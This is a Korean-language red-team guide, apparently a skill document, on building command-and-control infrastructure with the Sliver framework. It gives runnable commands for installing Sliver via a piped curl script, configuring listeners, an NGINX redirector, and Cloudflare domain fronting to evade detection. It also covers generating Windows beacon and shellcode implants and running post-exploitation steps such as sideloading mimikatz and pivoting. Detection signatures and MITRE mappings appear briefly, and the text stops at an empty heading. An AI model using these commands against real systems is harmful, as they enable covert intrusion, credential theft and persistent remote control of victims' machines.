Sliver 프레임워크를 활용한 C2 인프라 구축은(는) 무엇을 하나요?
개요
Sliver는 BishopFox가 개발하고 Go로 작성된 오픈소스 크로스플랫폼 적대적 에뮬레이션 프레임워크입니다. 레드 팀에 임플란트 생성, 다중 프로토콜 C2 채널(mTLS, HTTP/S, DNS, WireGuard), 다중 운영자 지원, 그리고 광범위한 포스트 익스플로잇 기능을 제공합니다. Sliver는 비콘(비동기) 및 세션(대화형) 모드를 지원하여 장기 작전과 대화형 익스플로잇 모두에 적합합니다. 적절하게 설계된 Sliver 인프라는 리다이렉터, 도메인 프론팅, HTTPS 인증서를 사용하여 운영 탄력성을 유지하고 탐지를 회피합니다.
사용 시기
- 환경에 C2 인프라 구축 기능을 배포하거나 구성할 때
- 규정 준수 요구 사항에 맞춰 보안 제어를 수립할 때
- 이 도메인에 대한 보안 아키텍처를 구축하거나 개선할 때
- 이 구현이 필요한 보안 평가를 수행할 때
사전 요구 사항
- 레드 팀 개념 및 도구에 대한 familiarity
- 안전한 실행을 위한 테스트 또는 랩 환경 접근
- Python 3.8+ 및 필요한 종속성 설치
- 모든 테스트 활동에 대한 적절한 권한
목표
- 강화된 클라우드 인프라에 Sliver 팀 서버 배포
- HTTPS, mTLS, DNS, WireGuard 리스너 구성
- 대상 플랫폼용 임플란트(비콘 및 세션) 생성
- 임플란트와 팀 서버 간 NGINX 또는 Apache 리다이렉터 설정
- 트래픽 난독화를 위한 Cloudflare 또는 CDN 기반 도메인 프론팅 구현
- 인증서 기반 인증을 통한 다중 운영자 접근 구성
- C2 통신을 위한 운영 보안 제어 수립
MITRE ATT&CK 매핑
- T1071.001 - 애플리케이션 계층 프로토콜: 웹 프로토콜
- T1071.004 - 애플리케이션 계층 프로토콜: DNS
- T1573.002 - 암호화된 채널: 비대칭 암호화
- T1090.002 - 프록시: 외부 프록시(리다이렉터)
- T1105 - 침입 도구 전송
- T1132.001 - 데이터 인코딩: 표준 인코딩
- T1572 - 프로토콜 터널링
워크플로
1단계: 팀 서버 배포
- 팀 서버용 VPS 프로비저닝 (예: DigitalOcean, Linode, AWS EC2)
- OS 강화: SSH 비밀번호 인증 비활성화, UFW/iptables 구성, fail2ban 설치
- 공식 설치 스크립트를 사용하여 Sliver 설치:
curl https://sliver.sh/install | sudo bash
- Sliver 서버 데몬 시작:
systemctl start sliver
sliver-server
- 팀 구성원용 운영자 구성 파일 생성:
new-operator --name operator1 --lhost <team-server-ip>
2단계: 리스너 구성
- 합법적인 SSL 인증서로 HTTPS 리스너 구성:
https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
- 폴백 C2용 DNS 리스너 구성:
dns --domains c2dns.example.com --lport 53
- 고보안 세션용 mTLS 리스너 구성:
mtls --lhost 0.0.0.0 --lport 8888
- 터널링된 접근용 WireGuard 리스너 구성:
wg --lport 51820
3단계: 리다이렉터 설정
- 리다이렉터용 별도 VPS 배포 (대상과 팀 서버 사이에 위치)
- NGINX를 리버스 프록시로 설치 및 구성:
server {
listen 443 ssl;
server_name c2.example.com;
ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
location / {
proxy_pass https://<team-server-ip>:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
- 리다이렉터에서만 연결을 수락하도록 팀 서버에 iptables 규칙 구성:
iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
- 선택적으로 리다이렉터 앞에 Cloudflare를 CDN 계층으로 설정하여 도메인 프론팅 구성
4단계: 임플란트 생성
- HTTPS 비콘 임플란트 생성:
generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
- 제한된 네트워크용 DNS 비콘 생성:
generate beacon --dns c2dns.example.com --os windows --arch amd64
- 인젝션용 셸코드 페이로드 생성:
generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
- 비콘 지터 및 콜백 간격 구성:
generate beacon --http https://c2.example.com --seconds 60 --jitter 30
5단계: 포스트 익스플로잇 작업
- 활성 비콘/세션과 상호 작용:
beacons
use <beacon-id>
- 포스트 익스플로잇 모듈 실행:
ps
netstat
execute-assembly /path/to/Seatbelt.exe -group=all
sideload /path/to/mimikatz.dll
- 내부 네트워크 접근을 위한 피벗 설정:
pivots tcp --bind 0.0.0.0:9898
- 인메모리 실행을 위한 BOF(Beacon Object Files) 사용:
armory install sa-ldapsearch
sa-ldapsearch -- "(objectClass=user)"
도구 및 리소스
| 도구 | 목적 | 플랫폼 |
|---|
| Sliver Server | C2 팀 서버 및 임플란트 관리 | Linux/macOS/Windows |
| Sliver Client | 팀 구성원용 운영자 콘솔 | 크로스플랫폼 |
| NGINX | 리다이렉터 및 리버스 프록시 | Linux |
| Certbot | Let's Encrypt SSL 인증서 생성 | Linux |
| Cloudflare | CDN 및 도메인 프론팅 | 클라우드 |
| Armory | Sliver 확장/BOF 패키지 관리자 | 내장 |
탐지 시그니처
| 지표 | 탐지 방법 |
|---|
| 기본 Sliver HTTP 헤더 | 비정상적인 User-Agent 문자열에 대한 네트워크 트래픽 분석 |
| 비표준 포트의 mTLS | 비정상적인 포트로의 아웃바운드 연결에 대한 방화벽 로그 |
| 높은 엔트로피의 DNS TXT 레코드 쿼리 | 인코딩된 C2 트래픽에 대한 DNS 로그 분석 |
| 포트 51820의 WireGuard UDP 트래픽 | WireGuard 핸드셰이크 패턴에 대한 네트워크 흐름 분석 |
| Sliver 임플란트 파일 해시 | 알려진 Sliver 샘플과의 EDR/AV 서명 매칭 |
검증 기준